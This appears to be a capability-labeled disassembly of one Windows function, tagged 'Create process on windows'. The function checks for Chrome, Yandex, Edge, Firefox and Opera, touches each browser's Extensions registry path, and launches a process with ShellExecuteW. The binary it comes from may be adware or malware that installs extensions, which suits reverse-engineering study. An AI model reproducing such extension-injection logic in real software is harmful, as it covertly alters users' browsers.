Function at 0x404c00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45013d
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
cmp dword [ebx + 0x14], 8
jb 0x404c3a
mov esi, dword [ebx]
jmp 0x404c3c
mov esi, ebx
cmp dword [ebx + 0x2c], 8
lea eax, [ebx + 0x18]
mov dword [ebp - 0xdc], eax
jb 0x404c53
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
xor eax, eax
mov dword [ebp - 0x30], 7
push eax
push 0x4600c0
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
call fcn.00406a60
xor eax, eax
mov dword [ebp - 4], 0
push eax
push 0x4600c0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
call fcn.00406a60
cmp byte [ebp + 8], 0
mov byte [ebp - 4], 1
je 0x404d88
mov edx, dword [0x5075e4]
lea eax, [ebp - 0xd5]
push eax
lea ecx, [ebp - 0x8c]
mov byte [ebp - 0xd5], 0
call fcn.0040ab80
add esp, 4
push eax
mov edx, 0x460548
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x74]
call fcn.004091d0
add esp, 4
mov edi, eax
lea eax, [ebp - 0x2c]
cmp eax, edi
je 0x404d1e
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x404d01
inc eax
lea ecx, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
call fcn.00407d10
xor eax, eax
mov dword [ebp - 0x18], 7
push edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
call fcn.00406c80
mov eax, dword [ebp - 0x60]
cmp eax, 8
jb 0x404d33
inc eax
lea ecx, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
call fcn.00407d10
xor eax, eax
mov byte [ebp - 4], 1
mov word [ebp - 0x74], ax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x60], 7
mov dword [ebp - 0x64], 0
cmp eax, 8
jb 0x404d66
inc eax
lea ecx, [ebp - 0x8c]
push eax
push dword [ebp - 0x8c]
call fcn.00407d10
xor eax, eax
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
mov al, byte [ebp - 0xd5]
mov dword [ebp - 0x7c], 0
mov byte [0x5075e0], al
push str.Google_Chrome
push esi
xor edi, edi
call fcn.0042ec01
add esp, 8
test eax, eax
je 0x404dcb
mov edx, str.SoftwareGoogleChromeExtensions
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00404110
test eax, eax
je 0x404e63
mov edx, str.SoftwareGoogleChromeExtensions
mov ecx, SysReAllocString
call fcn.00404110
test eax, eax
jne 0x404e2f
jmp 0x404e63
push str.Yandex
push esi
call fcn.0042ec01
add esp, 8
test eax, eax
je 0x404df7
mov edx, str.SoftwareYandexYandexBrowserExtensions
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00404110
test eax, eax
je 0x404e63
mov edx, str.SoftwareYandexYandexBrowserExtensions
jmp 0x404e21
push str.Microsoft_Edge
push esi
call fcn.0042ec01
add esp, 8
test eax, eax
je 0x404e39
mov edx, str.SoftwareMicrosoftEdgeExtensions
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00404110
test eax, eax
je 0x404e63
mov edx, str.SoftwareMicrosoftEdgeExtensions
mov ecx, SysReAllocString
call fcn.00404110
test eax, eax
je 0x404e63
mov edi, 1
jmp 0x404fae
push str.Firefox
push esi
call fcn.0042ec01
add esp, 8
test eax, eax
jne 0x404e63
push str.Opera
push esi
call fcn.0042ec01
add esp, 8
mov ecx, 1
test eax, eax
cmove edi, ecx
mov edx, ebx
lea ecx, [ebp - 0xbc]
call fcn.00404840
push eax
mov edx, 0x46054c
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa4]
call fcn.004091d0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x44]
cmp eax, esi
je 0x404ec3
mov eax, dword [ebp - 0x30]
cmp eax, 8
jb 0x404ea6
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.00407d10
xor eax, eax
mov dword [ebp - 0x30], 7
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
call fcn.00406c80
mov eax, dword [ebp - 0x90]
cmp eax, 8
jb 0x404ee1
inc eax
lea ecx, [ebp - 0xa4]
push eax
push dword [ebp - 0xa4]
call fcn.00407d10
xor eax, eax
mov byte [ebp - 4], 1
mov word [ebp - 0xa4], ax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x90], 7
mov dword [ebp - 0x94], 0
cmp eax, 8
jb 0x404f20
inc eax
lea ecx, [ebp - 0xbc]
push eax
push dword [ebp - 0xbc]
call fcn.00407d10
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xd4]
call fcn.00409230
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 6
push ecx
mov edx, eax
lea ecx, [ebp - 0x5c]
call fcn.00409310
mov eax, dword [ebp - 0xc0]
add esp, 4
cmp eax, 8
jb 0x404f65
inc eax
lea ecx, [ebp - 0xd4]
push eax
push dword [ebp - 0xd4]
call fcn.00407d10
cmp dword [ebp - 0x48], 8
lea eax, [ebp - 0x5c]
push 1
cmovae eax, dword [ebp - 0x5c]
push 0
push eax
push dword [ebp - 0xdc]
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0x48]
cmp eax, 8
jb 0x404f9a
inc eax
lea ecx, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
call fcn.00407d10
xor eax, eax
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x5c], ax
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x404fc3
inc eax
lea ecx, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
call fcn.00407d10
mov ecx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
cmp ecx, 8
jb 0x404fec
inc ecx
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x44]
call fcn.00407d10
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret